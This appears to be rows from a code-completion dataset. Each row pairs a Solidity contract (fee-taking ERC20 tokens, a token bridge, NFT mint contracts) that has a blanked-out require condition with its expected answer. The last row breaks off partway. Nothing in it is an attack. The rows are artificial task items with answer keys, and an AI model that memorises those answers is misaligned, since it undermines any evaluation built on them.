| claimedToken[msg.sender]<currentClaim,"You have already claimed this piece" | 127,374 | claimedToken[msg.sender]<currentClaim |
null | // SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() external virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract Sirius is ERC20, Ownable {
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
IDexRouter public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool private swapping;
uint256 public swapTokensAtAmount;
address public operationsAddress;
uint256 public tradingActiveBlock = 0; // 0 means trading is not active
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyOperationsFee;
uint256 public buyLiquidityFee;
uint256 public sellTotalFees;
uint256 public sellOperationsFee;
uint256 public sellLiquidityFee;
uint256 public tokensForOperations;
uint256 public tokensForLiquidity;
// Sniper map
mapping (address => bool) private snipers;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event RemovedLimits();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedOperationsAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
constructor() ERC20("Sirius", "SIR") {
}
receive() external payable {}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
}
// remove limits after token is stable
function removeLimits() external onlyOwner {
}
function addSniper(address account, bool isSniper) public onlyOwner {
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner {
}
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee) external onlyOwner {
}
function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "amount must be greater than 0");
require(<FILL_ME>)
if(limitsInEffect){
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead)) {
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number - 4 && _holderLastTransferTimestamp[to] < block.number - 4, "_transfer:: Transfer Delay enabled. Try again later.");
_holderLastTransferTimestamp[tx.origin] = block.number;
_holderLastTransferTimestamp[to] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxBuyAmount, "Buy transfer amount exceeds the max buy.");
require(amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxSellAmount, "Sell transfer amount exceeds the max sell.");
}
else if (!_isExcludedMaxTransactionAmount[to] && !_isExcludedMaxTransactionAmount[from]){
require(amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = true;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
uint256 penaltyAmount = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// bot/sniper penalty. Tokens get transferred to marketing wallet to allow potential refund.
if(tradingActiveBlock >= block.number + 1 && automatedMarketMakerPairs[from]){
penaltyAmount = amount * 99 / 100;
super._transfer(from, operationsAddress, penaltyAmount);
}
// on sell
else if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount * sellTotalFees /100;
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForOperations += fees * sellOperationsFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount * buyTotalFees / 100;
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForOperations += fees * buyOperationsFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees + penaltyAmount;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) {
}
// withdraw ETH if stuck or someone sends to the address
function withdrawStuckETH() external onlyOwner {
}
function setOperationsAddress(address _operationsAddress) external onlyOwner {
}
}
| !snipers[to] | 127,435 | !snipers[to] |
"Did not receive enough tokens from sender. Is the bridge exempted from taxes?" | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.6;
// OpenZeppelin
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Bridge is Ownable {
struct BridgeRequest {
address account;
uint256 amount;
uint256 blockNumber;
uint256 timestamp;
}
event RequestSent (uint256 _id, address indexed _account, uint256 _amount, uint256 _blocknumber);
event RequestReceived (uint256 _id, address indexed _account, uint256 _amount, uint256 _blocknumber);
constructor() {
}
uint256 public depositedTokens;
address payable public settlingAgent;
function setSettlingAgent(address _address) public onlyOwner {
}
address public tokenAddress;
function setTokenAddress(address _address) public onlyOwner {
}
uint256 public outgoingTransferFee;
function setOutgoingTransferFee(uint256 _amount) public onlyOwner {
}
modifier onlyAgent() {
}
uint256 public sentRequestCount;
mapping (uint256 => BridgeRequest) public sentRequests;
uint256 public receivedRequestCount;
mapping (uint256 => bool) public receivedRequests;
function depositTokens(uint256 _amount) public onlyOwner {
}
function withdrawETH() public onlyOwner {
}
function withdrawToken(address _tokenAddress) public onlyOwner {
}
function bridgeToken(uint256 _amount) public payable {
require(msg.value >= outgoingTransferFee, "Underpaid transaction: please provide the outgoing transfer fee." );
sentRequestCount++;
IERC20 erc20 = IERC20(tokenAddress);
uint256 balanceBefore = erc20.balanceOf(address(this));
erc20.transferFrom (msg.sender, address(this) , _amount);
uint256 balanceExpected = balanceBefore + _amount;
require(<FILL_ME>)
settlingAgent.transfer(msg.value);
depositedTokens += _amount;
sentRequests[sentRequestCount].account = msg.sender;
sentRequests[sentRequestCount].amount = _amount;
sentRequests[sentRequestCount].blockNumber = block.number;
sentRequests[sentRequestCount].timestamp = block.timestamp;
emit RequestSent(sentRequestCount, msg.sender, _amount, block.number);
}
function settleRequest(uint256 _id, address _account, uint256 _amount) public onlyAgent {
}
receive() external payable {}
fallback() external payable {}
}
| erc20.balanceOf(address(this))>=balanceExpected,"Did not receive enough tokens from sender. Is the bridge exempted from taxes?" | 127,448 | erc20.balanceOf(address(this))>=balanceExpected |
"This request was already settled" | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.6;
// OpenZeppelin
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Bridge is Ownable {
struct BridgeRequest {
address account;
uint256 amount;
uint256 blockNumber;
uint256 timestamp;
}
event RequestSent (uint256 _id, address indexed _account, uint256 _amount, uint256 _blocknumber);
event RequestReceived (uint256 _id, address indexed _account, uint256 _amount, uint256 _blocknumber);
constructor() {
}
uint256 public depositedTokens;
address payable public settlingAgent;
function setSettlingAgent(address _address) public onlyOwner {
}
address public tokenAddress;
function setTokenAddress(address _address) public onlyOwner {
}
uint256 public outgoingTransferFee;
function setOutgoingTransferFee(uint256 _amount) public onlyOwner {
}
modifier onlyAgent() {
}
uint256 public sentRequestCount;
mapping (uint256 => BridgeRequest) public sentRequests;
uint256 public receivedRequestCount;
mapping (uint256 => bool) public receivedRequests;
function depositTokens(uint256 _amount) public onlyOwner {
}
function withdrawETH() public onlyOwner {
}
function withdrawToken(address _tokenAddress) public onlyOwner {
}
function bridgeToken(uint256 _amount) public payable {
}
function settleRequest(uint256 _id, address _account, uint256 _amount) public onlyAgent {
require(<FILL_ME>)
require (depositedTokens >= _amount, "Token deposit insufficient for settlement");
receivedRequestCount++;
receivedRequests[receivedRequestCount] = true;
IERC20 erc20 = IERC20(tokenAddress);
erc20.transfer(_account, _amount);
depositedTokens -= _amount;
emit RequestReceived(receivedRequestCount, _account, _amount, block.number);
}
receive() external payable {}
fallback() external payable {}
}
| !receivedRequests[_id],"This request was already settled" | 127,448 | !receivedRequests[_id] |
"Non existent token for type" | // SPDX-Identifier: UNLICENSED
pragma solidity ^0.8.17;
contract PublicMintContractSingleType is ERC721, ERC721Enumerable, DefaultOperatorFilterer, Ownable {
using Strings for uint256;
uint256 public constant MAX_MINT = 20;
string public constant TOKEN_ID = "?tokenId=";
uint256 public constant DEV_PERCENT = 3;
address public constant DEV_ADDR = 0x85e4b758D0fCDd046096eC48d27f75AAbb6Fa41C;
string public baseURI;
bool private isSaleActive = false;
struct TypeInfo {
uint16 maxSupply;
uint16 mints;
uint256 price;
}
mapping(uint256 => TypeInfo) private typeInfo;
mapping(uint256 => uint256) private tokenToTypeId;
mapping(uint256 => uint256) private tokenToTypeToken;
constructor(string memory _name,
string memory _symbol,
string memory _initBaseURI,
uint16[] memory _maxSupplies,
uint256[] memory prices) ERC721(_name, _symbol) {
}
function _baseURI() internal view override(ERC721) returns (string memory) {
}
function walletOfOwner(address _owner) external view returns (uint256[] memory) {
}
function getInfoForType(uint256 typeId) external view returns(TypeInfo memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(tokenId <= totalSupply() && tokenId >= 0, "URI query for nonexistant token");
require(<FILL_ME>)
string memory currBaseURI = _baseURI();
return bytes(currBaseURI).length > 0
? string(abi.encodePacked(currBaseURI, TOKEN_ID ,tokenToTypeToken[tokenId].toString()))
: "";
}
function mint(address _to, uint256 _amount, uint256 _typeId) public payable {
}
function mintInternal(address _to, uint256 _amount, uint256 _typeId) internal {
}
function saleActive() external view returns(bool) {
}
function toggleSale() public onlyOwner {
}
function setPrice(uint256 _newPrice, uint256 _typeId) public onlyOwner {
}
function ownerClaim(address _to, uint256 _amount, uint256 _typeId) public onlyOwner {
}
function bulkMintSingleAirDrop(address[] calldata _to, uint256 _typeId, uint16 _amount) external onlyOwner {
}
function setBaseURI(string memory newURI) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
function transferFrom(address from, address to, uint256 tokenId) public override(IERC721, ERC721) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override(IERC721, ERC721) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override(IERC721, ERC721)
onlyAllowedOperator(from){
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
}
}
| tokenToTypeId[tokenId]>=0,"Non existent token for type" | 127,548 | tokenToTypeId[tokenId]>=0 |
"Exceeds total supply for type" | // SPDX-Identifier: UNLICENSED
pragma solidity ^0.8.17;
contract PublicMintContractSingleType is ERC721, ERC721Enumerable, DefaultOperatorFilterer, Ownable {
using Strings for uint256;
uint256 public constant MAX_MINT = 20;
string public constant TOKEN_ID = "?tokenId=";
uint256 public constant DEV_PERCENT = 3;
address public constant DEV_ADDR = 0x85e4b758D0fCDd046096eC48d27f75AAbb6Fa41C;
string public baseURI;
bool private isSaleActive = false;
struct TypeInfo {
uint16 maxSupply;
uint16 mints;
uint256 price;
}
mapping(uint256 => TypeInfo) private typeInfo;
mapping(uint256 => uint256) private tokenToTypeId;
mapping(uint256 => uint256) private tokenToTypeToken;
constructor(string memory _name,
string memory _symbol,
string memory _initBaseURI,
uint16[] memory _maxSupplies,
uint256[] memory prices) ERC721(_name, _symbol) {
}
function _baseURI() internal view override(ERC721) returns (string memory) {
}
function walletOfOwner(address _owner) external view returns (uint256[] memory) {
}
function getInfoForType(uint256 typeId) external view returns(TypeInfo memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function mint(address _to, uint256 _amount, uint256 _typeId) public payable {
require(isSaleActive, "Sale is not active");
require(_amount > 0, "Must mint at least 1 token");
require(_amount <= MAX_MINT, "Exceeds mint limit");
require(<FILL_ME>)
require(msg.value >= _amount * typeInfo[_typeId].price, "not enough ETH for mint");
mintInternal(_to, _amount, _typeId);
}
function mintInternal(address _to, uint256 _amount, uint256 _typeId) internal {
}
function saleActive() external view returns(bool) {
}
function toggleSale() public onlyOwner {
}
function setPrice(uint256 _newPrice, uint256 _typeId) public onlyOwner {
}
function ownerClaim(address _to, uint256 _amount, uint256 _typeId) public onlyOwner {
}
function bulkMintSingleAirDrop(address[] calldata _to, uint256 _typeId, uint16 _amount) external onlyOwner {
}
function setBaseURI(string memory newURI) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
function transferFrom(address from, address to, uint256 tokenId) public override(IERC721, ERC721) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override(IERC721, ERC721) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override(IERC721, ERC721)
onlyAllowedOperator(from){
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
}
}
| typeInfo[_typeId].mints+_amount<=typeInfo[_typeId].maxSupply,"Exceeds total supply for type" | 127,548 | typeInfo[_typeId].mints+_amount<=typeInfo[_typeId].maxSupply |
"invalid type" | // SPDX-Identifier: UNLICENSED
pragma solidity ^0.8.17;
contract PublicMintContractSingleType is ERC721, ERC721Enumerable, DefaultOperatorFilterer, Ownable {
using Strings for uint256;
uint256 public constant MAX_MINT = 20;
string public constant TOKEN_ID = "?tokenId=";
uint256 public constant DEV_PERCENT = 3;
address public constant DEV_ADDR = 0x85e4b758D0fCDd046096eC48d27f75AAbb6Fa41C;
string public baseURI;
bool private isSaleActive = false;
struct TypeInfo {
uint16 maxSupply;
uint16 mints;
uint256 price;
}
mapping(uint256 => TypeInfo) private typeInfo;
mapping(uint256 => uint256) private tokenToTypeId;
mapping(uint256 => uint256) private tokenToTypeToken;
constructor(string memory _name,
string memory _symbol,
string memory _initBaseURI,
uint16[] memory _maxSupplies,
uint256[] memory prices) ERC721(_name, _symbol) {
}
function _baseURI() internal view override(ERC721) returns (string memory) {
}
function walletOfOwner(address _owner) external view returns (uint256[] memory) {
}
function getInfoForType(uint256 typeId) external view returns(TypeInfo memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function mint(address _to, uint256 _amount, uint256 _typeId) public payable {
}
function mintInternal(address _to, uint256 _amount, uint256 _typeId) internal {
require(<FILL_ME>)
for (uint256 i = 1; i <= _amount; i++) {
typeInfo[_typeId].mints += 1;
uint256 tokenId = totalSupply();
_safeMint(_to, tokenId);
tokenToTypeId[tokenId] = _typeId;
tokenToTypeToken[tokenId] = typeInfo[_typeId].mints;
}
}
function saleActive() external view returns(bool) {
}
function toggleSale() public onlyOwner {
}
function setPrice(uint256 _newPrice, uint256 _typeId) public onlyOwner {
}
function ownerClaim(address _to, uint256 _amount, uint256 _typeId) public onlyOwner {
}
function bulkMintSingleAirDrop(address[] calldata _to, uint256 _typeId, uint16 _amount) external onlyOwner {
}
function setBaseURI(string memory newURI) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
function transferFrom(address from, address to, uint256 tokenId) public override(IERC721, ERC721) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override(IERC721, ERC721) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override(IERC721, ERC721)
onlyAllowedOperator(from){
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
}
}
| typeInfo[_typeId].maxSupply>0,"invalid type" | 127,548 | typeInfo[_typeId].maxSupply>0 |
"token::claimReward: user already claimed in this period." | pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
import "./ERC20.sol";
contract BabyShibaInuToken is ERC20 ('BabyShibaInu', 'BShiba') {
// Burn address
address public burnAddress = 0x000000000000000000000000000000000000dEaD;
// DEV address
address public devAddress;
// Fee address
address public feeAddress;
// token supply
uint256 tSuppy = 100000000000 * 10**18;
// Contract address excluded from any token Tax.
address public noTaxAddr = 0x000000000000000000000000000000000000dEaD;
// Transfer Burn Rate: 100 = 1%
uint16 public burnFee = 100;
// Transfer FEE Rate: 100 = 1%
uint16 public teamFee = 100;
// Divider for Fees
uint16 public feeDivider = 10000;
// length of one Claim Period in seconds
uint256 public periodDuration = 86400; // 86400 = 24h
// Factor for the yiesd percentag of user balance
uint256 public yieldFactor = 100; // 100 = 0,01 = 1%
// stores the users last Claim Period
mapping (address => uint256) public claimCount;
constructor (address owner) public {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual override {
}
// Update "excluded from all fees" Address
function SetNoTaxAddress(address _noTaxAddress) public onlyOwner {
}
// Update the Dev and Fee Address
function SetDevAndTaxAddress(address _devAddress, address _feeAddress) public onlyOwner {
}
// Update the Team and Burn Fee
function setTeamAndBurnFee(uint16 _teamFee, uint16 _burnFee) external onlyOwner() {
}
// returns the current Global Claim Counter Value
function getGolbalClaimCount () public view returns(uint256) {
}
// allows token holdes to claim X percent of Token once per claim period
function claimReward () public {
require (balanceOf(msg.sender) > 0, "token::claimReward: user token balance must be greater than zero.");
require(<FILL_ME>)
require(msg.sender != address(0), "token::claimReward: Zero address can not claim.");
uint256 ownerTokenYield = balanceOf(msg.sender).mul(yieldFactor).div(10000);
_mint(msg.sender, ownerTokenYield);
claimCount[msg.sender] = getGolbalClaimCount();
}
}
| claimCount[msg.sender]<getGolbalClaimCount(),"token::claimReward: user already claimed in this period." | 127,754 | claimCount[msg.sender]<getGolbalClaimCount() |
"Not live" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
contract PaperCompatibleContract is
ERC721,
ERC721Enumerable,
Ownable,
ERC721Royalty,
DefaultOperatorFilterer
{
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
string public uriPrefix;
string public contractURI;
uint public maxSupply;
uint public startsAt;
uint public startPrice;
uint public floorPrice;
/// @custom:oz-upgrades-unsafe-allow constructor
constructor(uint _startsAt, string memory _uriPrefix, string memory _contractURI) ERC721("PLACEHOLDER", "PLACEHOLDER") {
}
function isLive() public view returns (bool) {
}
function price() public view returns(uint){
}
function remainingSupply() public view returns(uint) {
}
function safeMint(address _to, uint quantity) private
{
}
function publicMint(address _to)
external
payable
{
require(<FILL_ME>)
require(msg.value >= price(),"Insufficient funds");
require(remainingSupply() > 0, "Collection is sold out");
safeMint(_to, 1);
}
function adminMint(address _to, uint quantity)
external
payable
onlyOwner
{
}
function getClaimIneligibilityReason() external view returns (string memory) {
}
/*
* Set secondary market royalties using the EIP2981 standard
* Royalties will be sent to the supplied `reciever` address
* The royalty is calcuated feeNumerator / 10000
* A 5% royalty, would use a feeNumerator of 500 (500/10000=.05)
*/
function setRoyalties(address reciever, uint96 feeNumerator) external onlyOwner {
}
function setStartsAt(uint256 _startsAt) public onlyOwner {
}
function setUriPrefix(string memory _prefix) public onlyOwner {
}
function withdraw(address payable _to) external onlyOwner {
}
function tokenURI(uint256 _tokenId) public view virtual override (ERC721) returns (string memory) {
}
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize) internal override(ERC721, ERC721Enumerable) {
}
function _burn(uint256 tokenId) internal override(ERC721,ERC721Royalty) {
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable, ERC721Royalty) returns (bool) {
}
// The following functions are required by OpenSea Operator Filter (https://github.com/ProjectOpenSea/operator-filter-registry)
function setApprovalForAll(address operator, bool approved) public override(ERC721,IERC721) onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public override(ERC721,IERC721) onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public override(ERC721,IERC721) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override(ERC721,IERC721) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override(ERC721,IERC721) onlyAllowedOperator(from)
{
}
}
| isLive(),"Not live" | 127,789 | isLive() |
"Collection is sold out" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
contract PaperCompatibleContract is
ERC721,
ERC721Enumerable,
Ownable,
ERC721Royalty,
DefaultOperatorFilterer
{
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
string public uriPrefix;
string public contractURI;
uint public maxSupply;
uint public startsAt;
uint public startPrice;
uint public floorPrice;
/// @custom:oz-upgrades-unsafe-allow constructor
constructor(uint _startsAt, string memory _uriPrefix, string memory _contractURI) ERC721("PLACEHOLDER", "PLACEHOLDER") {
}
function isLive() public view returns (bool) {
}
function price() public view returns(uint){
}
function remainingSupply() public view returns(uint) {
}
function safeMint(address _to, uint quantity) private
{
}
function publicMint(address _to)
external
payable
{
require(isLive(), "Not live");
require(msg.value >= price(),"Insufficient funds");
require(<FILL_ME>)
safeMint(_to, 1);
}
function adminMint(address _to, uint quantity)
external
payable
onlyOwner
{
}
function getClaimIneligibilityReason() external view returns (string memory) {
}
/*
* Set secondary market royalties using the EIP2981 standard
* Royalties will be sent to the supplied `reciever` address
* The royalty is calcuated feeNumerator / 10000
* A 5% royalty, would use a feeNumerator of 500 (500/10000=.05)
*/
function setRoyalties(address reciever, uint96 feeNumerator) external onlyOwner {
}
function setStartsAt(uint256 _startsAt) public onlyOwner {
}
function setUriPrefix(string memory _prefix) public onlyOwner {
}
function withdraw(address payable _to) external onlyOwner {
}
function tokenURI(uint256 _tokenId) public view virtual override (ERC721) returns (string memory) {
}
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize) internal override(ERC721, ERC721Enumerable) {
}
function _burn(uint256 tokenId) internal override(ERC721,ERC721Royalty) {
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable, ERC721Royalty) returns (bool) {
}
// The following functions are required by OpenSea Operator Filter (https://github.com/ProjectOpenSea/operator-filter-registry)
function setApprovalForAll(address operator, bool approved) public override(ERC721,IERC721) onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public override(ERC721,IERC721) onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public override(ERC721,IERC721) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override(ERC721,IERC721) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override(ERC721,IERC721) onlyAllowedOperator(from)
{
}
}
| remainingSupply()>0,"Collection is sold out" | 127,789 | remainingSupply()>0 |
"Collection is sold out" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
